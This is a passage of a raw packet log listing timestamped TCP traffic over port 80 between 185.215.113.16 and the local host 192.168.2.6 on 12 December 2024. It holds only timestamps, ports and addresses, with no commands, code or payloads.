Dec 12, 2024 21:50:28.010473013 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.010516882 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.010534048 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.010570049 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.011531115 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.011571884 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.011607885 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.011693954 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.012499094 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.012552023 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.012595892 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.012631893 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.013578892 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.013623953 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.013667107 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.013740063 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.014661074 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.014703035 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.014736891 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.014822006 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.015647888 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.015685081 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.015736103 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.015769958 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.016712904 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.016750097 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.016819954 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.016925097 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.017748117 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.017790079 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.017834902 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.017872095 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.018860102 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.019015074 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.157306910 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.157371044 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.157407999 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.157452106 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.157793999 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.157843113 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.157880068 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.157918930 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.158871889 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.158956051 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.159038067 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.159077883 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.159883976 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.159931898 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.159970045 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.160720110 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.160964012 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.161072969 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.161113977 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.162003040 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.162044048 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.162092924 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.162128925 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.163070917 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.163125038 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.163156033 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.163192034 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.164132118 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.164175034 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.164227962 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.164356947 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.165137053 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.165199995 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.165240049 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.165302038 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.166218042 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.166284084 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.166310072 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.166368961 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.167290926 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.167362928 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.167403936 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.167444944 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.168303013 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.168363094 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.168407917 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.168457031 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.169342995 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.169462919 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.169522047 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.170392990 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.170443058 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.170559883 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.170660973 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.171441078 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.171487093 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.171534061 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.171576023 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.172538996 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.172581911 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.172617912 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.172700882 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.173547983 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.173602104 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.173648119 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.173687935 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.174681902 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.174778938 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.174810886 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.174891949 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.175646067 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.175688982 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.175735950 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.175774097 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.176732063 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.176801920 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.176847935 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.176888943 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.177753925 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.177798986 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.177885056 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.177927017 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.178785086 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.178844929 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.178951025 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.179876089 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.179924965 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.179932117 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.180978060 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.181029081 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.181076050 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.181114912 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.181927919 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.182051897 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.182065964 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.182091951 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.182974100 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.183077097 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.183090925 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.183129072 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.184025049 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.184072971 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.184120893 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.184163094 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.185353041 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.185395956 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.185442924 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.185482979 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.186145067 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.186193943 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.186237097 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.186285019 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.187180042 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.187225103 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.187293053 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.187397003 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.188235044 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.188282013 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.188354969 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.188409090 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.189268112 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.189322948 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.189368010 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.189414024 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.190403938 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.190470934 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.190478086 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.190522909 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.191390038 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.191432953 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.191499949 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.191586018 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.192429066 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.192473888 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.192543030 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.192581892 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.193460941 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.193506956 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.193563938 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.193603992 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.194581032 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.194691896 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.194735050 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.195566893 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.195672989 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.195684910 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.195732117 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.196623087 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.196692944 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.196755886 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.197237015 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.197645903 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.197762012 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.197801113 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.197840929 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.198719978 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.198760986 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.198838949 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.198877096 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.199769974 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.199810028 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.199871063 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.199955940 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.200887918 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.200948000 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.200975895 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.200988054 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.201955080 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.201999903 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.202030897 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.202066898 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.202923059 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.202965975 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.203047991 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.203093052 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.203972101 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.204018116 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.204056025 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.204090118 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.205024004 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.205116987 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.205153942 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.206057072 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.206187010 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.206223011 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.207210064 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.207256079 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.207329988 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.207367897 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.208257914 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.208297968 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.208338022 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.208370924 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.209348917 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.209376097 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.209387064 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.209408998 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.210266113 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.210304976 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.210391998 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.210424900 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.211469889 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.211504936 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.211570024 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.211647987 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.212379932 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.215476036 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.348236084 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.348287106 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.348330021 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.348376036 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.348565102 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.348611116 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.348731995 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.348778009 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.349451065 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.349495888 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.349615097 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.349658966 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.350532055 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.350577116 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.350600958 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.350644112 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.351572990 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.351620913 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.351674080 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.351720095 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.352608919 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.352653980 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.352734089 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.352781057 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.353707075 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.353754997 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.353821993 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.353866100 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.354769945 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.354814053 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.354903936 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.354974031 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.355772972 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.355817080 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.355848074 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.355895042 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.356832027 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.356878996 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.356962919 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.357007980 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.357940912 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.357992887 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.358052969 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.358098984 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.359030962 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.359080076 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.359141111 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.359196901 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.359962940 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.360024929 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.360397100 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.360579014 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.360990047 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.361042023 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.361078024 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.361134052 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.362112999 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.362189054 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.362201929 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.362293959 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.363236904 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.363280058 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.363322973 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.363378048 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.364144087 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.364197016 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.364327908 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.364387989 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.365206957 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.365257025 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.365353107 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.365524054 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.366245985 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.366306067 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.366323948 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.366377115 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.367336035 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.367383003 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.367445946 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.367491961 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.368375063 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.368513107 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.368556976 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.369437933 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.369528055 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.369570971 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.370435953 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.370565891 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.370625019 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.371491909 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.371541977 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.371622086 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.371678114 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.372550011 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.372607946 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.372692108 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.372905970 CET	49919	80	192.168.2.6	185.215.113.16
Dec 12, 2024 21:50:28.373588085 CET	80	49919	185.215.113.16	192.168.2.6
Dec 12, 2024 21:50:28.373641968 CET	49919	80	192.168.2.6	185.215.113.16
